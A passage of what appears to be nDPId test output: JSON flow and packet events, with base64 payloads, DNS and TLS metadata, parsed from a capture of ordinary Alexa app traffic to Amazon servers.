iSEj76f26JRDJeROR6pn1YJhpqeQU3DdcUUS\/hRoiHki\/FcGD1RCk6PXhAnclOKvElZidUmV+iRIzm\/dSMJiLWrOAZVELtvPF1dNCIflviR1\/U5eYNIGcg1c+nYCHkdCns6uOeJFE4oBv9YCD86g=="} +00417{"flow_id":138,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2592,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976170,"pkt_ts_usec":100674,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoanxAAEAG3IasECrYNF7ohrK4AbvvmvKHcBF9ClAQAV02+AAA"} +00500{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2594,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":105,"flow_packet_id":23,"flow_first_seen":1490976107365,"flow_last_seen":1490976110047,"flow_tot_l4_data_len":7372,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":320,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.29.253","src_port":40853,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00501{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2594,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":106,"flow_packet_id":37,"flow_first_seen":1490976107365,"flow_last_seen":1490976110047,"flow_tot_l4_data_len":13845,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":374,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.29.253","src_port":40854,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00528{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2594,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":107,"flow_packet_id":7,"flow_first_seen":1490976107366,"flow_last_seen":1490976110047,"flow_tot_l4_data_len":188,"flow_min_l4_data_len":20,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.29.253","src_port":40855,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"}} +00495{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2594,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":107,"flow_packet_id":7,"flow_first_seen":1490976107366,"flow_last_seen":1490976110047,"flow_tot_l4_data_len":188,"flow_min_l4_data_len":20,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.29.253","src_port":40855,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00501{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2594,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":108,"flow_packet_id":98,"flow_first_seen":1490976107455,"flow_last_seen":1490976110047,"flow_tot_l4_data_len":33419,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":341,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.29.253","src_port":40856,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00500{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2594,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":89,"flow_packet_id":33,"flow_first_seen":1490976088937,"flow_last_seen":1490976110046,"flow_tot_l4_data_len":12974,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":393,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45711,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2594,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":92,"flow_packet_id":27,"flow_first_seen":1490976089227,"flow_last_seen":1490976107676,"flow_tot_l4_data_len":8584,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":317,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45714,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00500{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2594,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":93,"flow_packet_id":29,"flow_first_seen":1490976089239,"flow_last_seen":1490976111839,"flow_tot_l4_data_len":11074,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":381,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45715,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2594,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":103,"flow_packet_id":29,"flow_first_seen":1490976100859,"flow_last_seen":1490976107676,"flow_tot_l4_data_len":5930,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1452,"flow_avg_l4_data_len":204,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.231.72.88","src_port":41825,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00528{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2594,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":101,"flow_packet_id":8,"flow_first_seen":1490976100559,"flow_last_seen":1490976107681,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":20,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.24.186","src_port":34073,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"}} +00495{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2594,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":101,"flow_packet_id":8,"flow_first_seen":1490976100559,"flow_last_seen":1490976107681,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":20,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.24.186","src_port":34073,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00500{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2594,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":102,"flow_packet_id":22,"flow_first_seen":1490976100811,"flow_last_seen":1490976107676,"flow_tot_l4_data_len":7891,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":358,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.24.186","src_port":34074,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2611,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":139,"flow_packet_id":1,"flow_first_seen":1490976177026,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":4312,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00451{"flow_id":139,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2611,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976177,"pkt_ts_usec":26053,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"AMDKkaPvePiC0\/vCCABFAABBWmFAAEARM1GsECrYrBAqARDYADUALXE1hGEBAAABAAAAAAAACHBpdGFuZ3VpBmFtYXpvbgNjb20AAAEAAQ=="} +00647{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2611,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":139,"flow_packet_id":1,"flow_first_seen":1490976177026,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":4312,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Amazon","breed":"Acceptable","category":"Web"},"dns": {"query":"pitangui.amazon.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00472{"flow_id":139,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2612,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976177,"pkt_ts_usec":105350,"pkt_caplen":95,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":95,"pkt_l4_len":61,"pkt":"ePiC0\/vCAMDKkaPvCABFAABR5+JAAEARpb+sECoBrBAq2AA1ENgAPRuAhGGBgAABAAEAAAAACHBpdGFuZ3VpBmFtYXpvbgNjb20AAAEAAcAMAAEAAQAAACEABDbvHLI="} +00674{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2612,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":139,"flow_packet_id":2,"flow_first_seen":1490976177026,"flow_last_seen":1490976177105,"flow_tot_l4_data_len":106,"flow_min_l4_data_len":45,"flow_max_l4_data_len":61,"flow_avg_l4_data_len":53,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":4312,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Amazon","breed":"Acceptable","category":"Web"},"dns": {"query":"pitangui.amazon.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"54.239.28.178"}} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2613,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":140,"flow_packet_id":1,"flow_first_seen":1490976177116,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.28.178","src_port":50796,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00447{"flow_id":140,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2613,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976177,"pkt_ts_usec":116210,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8k45AAEAGfKSsECrYNu8cssZsAbvv1RDwAAAAAKAC\/\/\/QEwAAAgQFtAQCCAoA9oN+AAAAAAEDAwg="} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2614,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":141,"flow_packet_id":1,"flow_first_seen":1490976177116,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.28.178","src_port":50797,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00447{"flow_id":141,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2614,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976177,"pkt_ts_usec":116594,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8pCxAAEAGbAasECrYNu8cssZtAbubwSdTAAAAAKAC\/\/8NwwAAAgQFtAQCCAoA9oN\/AAAAAAEDAwg="} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2615,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":142,"flow_packet_id":1,"flow_first_seen":1490976177116,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.28.178","src_port":50798,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00447{"flow_id":142,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2615,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976177,"pkt_ts_usec":116910,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8lftAAEAGejesECrYNu8cssZuAbts9RaEAAAAAKAC\/\/9NXQAAAgQFtAQCCAoA9oN\/AAAAAAEDAwg="} +00429{"flow_id":140,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2616,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976177,"pkt_ts_usec":226809,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwImlAAOcGRtU27xyyrBAq2AG7xmzGEdgp79UQ8XASH\/7SVwAAAgQFtAEDAwY="} +00429{"flow_id":141,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2617,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976177,"pkt_ts_usec":226953,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwWDhAAOcGEQY27xyyrBAq2AG7xm3jvKzYm8EnVHASH\/4drgAAAgQFtAEDAwY="} +00416{"flow_id":140,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2619,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976177,"pkt_ts_usec":232232,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAok49AAEAGfLesECrYNu8cssZsAbvv1RDxxhHYKlAQAVccyQAA"} +00416{"flow_id":141,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2620,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976177,"pkt_ts_usec":232543,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAopC1AAEAGbBmsECrYNu8cssZtAbubwSdU47ys2VAQAVdoHwAA"} +00697{"flow_id":140,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2622,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976177,"pkt_ts_usec":233706,"pkt_caplen":261,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":261,"pkt_l4_len":227,"pkt":"AMDKkaPvePiC0\/vCCABFAAD3k5BAAEAGe+esECrYNu8cssZsAbvv1RDxxhHYKlAYAVegdQAAFgMBAMoBAADGAwNlXadIw7yx7VLHe4UdO3wZiu\/EcwTKyJ+o5joejNiDegAAIGpqzKnMqMwUzBPAK8AvwCzAMMATwBQAnACdAC8ANQAKAQAAfaqqAAD\/AQABAAAAABgAFgAAE3BpdGFuZ3VpLmFtYXpvbi5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjEACwACAQAACgAKAAhaWgAdABcAGEpKAAEA"} +00738{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2622,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":140,"flow_packet_id":4,"flow_first_seen":1490976177116,"flow_last_seen":1490976177233,"flow_tot_l4_data_len":315,"flow_min_l4_data_len":20,"flow_max_l4_data_len":227,"flow_avg_l4_data_len":78,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.28.178","src_port":50796,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00696{"flow_id":141,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2623,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976177,"pkt_ts_usec":235757,"pkt_caplen":261,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":261,"pkt_l4_len":227,"pkt":"AMDKkaPvePiC0\/vCCABFAAD3pC5AAEAGa0msECrYNu8cssZtAbubwSdU47ys2VAYAVdEqAAAFgMBAMoBAADGAwPJsGFZNlhJRMty6KrMnV1YFeE+Nh3uPX+8iS4ufNPtYgAAIMrKzKnMqMwUzBPAK8AvwCzAMMATwBQAnACdAC8ANQAKAQAAfWpqAAD\/AQABAAAAABgAFgAAE3BpdGFuZ3VpLmFtYXpvbi5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjEACwACAQAACgAKAAi6ugAdABcAGFpaAAEA"} +00738{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2623,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":141,"flow_packet_id":4,"flow_first_seen":1490976177116,"flow_last_seen":1490976177235,"flow_tot_l4_data_len":315,"flow_min_l4_data_len":20,"flow_max_l4_data_len":227,"flow_avg_l4_data_len":78,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.28.178","src_port":50797,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2624,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":143,"flow_packet_id":1,"flow_first_seen":1490976177276,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.28.178","src_port":50799,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":143,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2624,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976177,"pkt_ts_usec":276176,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8ZidAAEAGqgusECrYNu8cssZvAbuB1uWoAAAAAKAC\/\/9pRgAAAgQFtAQCCAoA9oOPAAAAAAEDAwg="} +00429{"flow_id":143,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2625,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976177,"pkt_ts_usec":409998,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwnrRAAOcGyok27xyyrBAq2AG7xm8x5Gl6gdblqXASH\/5ueAAAAgQFtAEDAwY="} +02382{"flow_id":140,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2626,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976177,"pkt_ts_usec":410580,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcHZxAAOcGRfY27xyyrBAq2AG7xmzGEdgq79URwFAYf\/krDwAAFgMBDLwCAABGAwFY3n2xoE\/i6JhK5Md85LDgTL+hjMKOoOipyrc3Qs63NyBbMnlmo5paikbiPJoGHJv6QkaI+z+FCbdHU5bqJU8HCAAvAAsADGoADGcAByUwggchMIIGCaADAgECAhAcRU2OfD5RXVxbu\/\/vTuNvMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwHhcNMTcwMTEyMDAwMDAwWhcNMTgwMTEzMjM1OTU5WjBtMQswCQYDVQQGEwJVUzETMBEGA1UECAwKV2FzaGluZ3RvbjEQMA4GA1UEBwwHU2VhdHRsZTEZMBcGA1UECgwQQW1hem9uLmNvbSwgSW5jLjEcMBoGA1UEAwwTcGl0YW5ndWkuYW1hem9uLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJYBiz7+LgeGD3Pa4IJcJ09bhuxaGQSx+xajoPkJc5erzMpRRS1Ah2pufryf6dws05DN70Qan0Ob6GrLw2\/HxaGvneCRZhiBGyUMFBcJjk1AKw9+Nf1hXE48DlafnWpGrqpfYt2zsG+eRrhPeKWj+oj0pEgYLwOn\/a4xa6m8CUPuQAn6\/wNlnTqVyC\/SG0Yol6GVytCBUh+TZofarTRdpyUAS308UAcUFDf6BimC5d5mYn2J5R4k65+6sdF0Lg5T\/DhNiIsjt\/imBX+pqRiOG+KKP+QbbicThn04ySXzkSx\/F+UEKU29ls2FzrMVLknBH7eb59tKsTdRgaRpZOW3joUCAwEAAaOCA6owggOmMIIBVgYDVR0RBIIBTTCCAUmCE3BpdGFuZ3VpLmFtYXpvbi5jb22CE2d1aXBpdGFuLmFtYXpvbi5jb22CEGFsZXhhLmFtYXpvbi5jb22CD2VjaG8uYW1hem9uLmNvbYIPYWxleGEuYW1hem9uLmNhghJndWlwaXRhbi5hbWF6b24uY2GCEmFsZXhhLmFtYXpvbi5jby5qcIIVZ3VpcGl0YW4uYW1hem9uLmNvLmpwghNhbGV4YS5hbWF6b24uY29tLm14ghZndWlwaXRhbi5hbWF6b24uY29tLm14ghNhbGV4YS5hbWF6b24uY29tLmJyghZndWlwaXRhbi5hbWF6b24uY29tLmJyghNhbGV4YS5hbWF6b24uY29tLmF1ghZndWlwaXRhbi5hbWF6b24uY29tLmF1gg9hbGV4YS5hbWF6b24uY26CEmd1aXBpdGFuLmFtYXpvbi5jbjAJBgNVHRMEAjAAMA4GA1UdDwEB\/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwYQYDVR0gBFowWDBWBgZngQwBAgIwTDAjBggrBgEFBQcCARYXaHR0cHM6Ly9kLnN5bWNiLmNvbS9jcHMwJQYIKwYBBQUHAgIwGQwXaHR0cHM6Ly9kLnN5bWNiLmNvbS9ycGEwHwYDVR0jBBgwFoAUX2DPYZBV34RDFIpgKrL1evRDGO8wKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL3NzLnN5bWNiLmNvbS9zcy5jcmwwVwYIKwYBBQUHAQEESzBJMB8GCCsGAQUFBzABhhNodHRwOi8vc3Muc3ltY2QuY29tMCYGCCsGAQUFBzAChhpodHRwOi8vc3Muc3ltY2IuY29tL3NzLmNydDCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB1AN3rHSt6DU+mIIuBrYFocH4ujp0B1VyIjT0RxM227L7MAAABWZBMcQIAAAQDAEYwRAIgKRWoVVA="} +02384{"flow_id":140,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2627,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976177,"pkt_ts_usec":411097,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcHZ5AAOcGRfQ27xyyrBAq2AG7xmzGEd3e79URwFAYf\/nKWQAAjFI1u1wWl1G2XSDRRsDgI05xF\/R2SRNbNYayAiBoL+6shVDZBDW9cxLOAAPLGwr35RrKdMLHjy3gwdZfEgB3AKS5CZC0GFgUh7sTosxncAo8NZgE+RvfuON3zQ7IDdwQAAABWZBMcTwAAAQDAEgwRgIhALW9429CqWlJmY7bsqgu877wDiK6qslUq22hmi82aGQuAiEA2sOA1mIiLp7MIPis4\/n9ebUdQVRvG4dTZRoBrrVuMJswDQYJKoZIhvcNAQELBQADggEBAGYgKBIO9j5PJS1o\/wh6NT0DbzNhpExM4s36xlh\/fdFoLOzD3MnFCJ92BlxhyyvXuoWU5uoJMfpq+5QaGibLkf7L6tpnIbnlsv4eXNCJnZsn\/YBiXZkzN8b0IMudSLmP1WtQYDl4qM4g+dti6uq\/rY1mAvLnRMTSDUWsocTd+dUcSc5G9RwVrTdrCca7zCZA+MaMWAROzv86e0RCAZWlVC3xvQC\/4FJLnaRjBmVXMbodATyrnvRkt3AgTo9sdFFTCD3TqzZ4hhKNo+3kKUQSzvXWIBA1lvWZEvNmv9bA1\/cd7RNj4GLWLyUls2RjBH8NrYvZUa7GVTRCoAo+oCutXFUABTwwggU4MIIEIKADAgECAhBRP7l0OHC3NEBBjTCTBpn\/MA0GCSqGSIb3DQEBCwUAMIHKMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAyMDA2IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHNTAeFw0xMzEwMzEwMDAwMDBaFw0yMzEwMzAyMzU5NTlaMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCy2AXKHHQttRdWOcVKUgmW6EvYDPFon5pCKGLDpTBTflURglsDeg0v4XkEybSWdxmBAZRZ+bz3epkngi23g91aJ3+yA3qcUyXpSB9GT8idKfi+eVb29\/3ZOmjai0uCM0ESw8g8zNaWeoQhGiIEAycXixxoYZMPDlGAMx20tc7rftBirO6zewF072k168rVPanul5jKjapEDiWZShWWpM5tAlQfKmom4gY6Y0istEzRdZNQ\/xMv1trhxhj1n8klXfMAOt4mTbQpCc0PPSNvFkqBFvvygxDDuNbYVTI98b0PvYxSlUoWl3pSIWN1Lxb5xGa+9bUJ2P8nAM1EfG9LP7D3AgMBAAGjggFjMIIBXzASBgNVHRMBAf8ECDAGAQH\/AgEAMDAGA1UdHwQpMCcwJaAjoCGGH2h0dHA6Ly9zMS5zeW1jYi5jb20vcGNhMy1nNS5jcmwwDgYDVR0PAQH\/BAQDAgEGMC8GCCsGAQUFBwEBB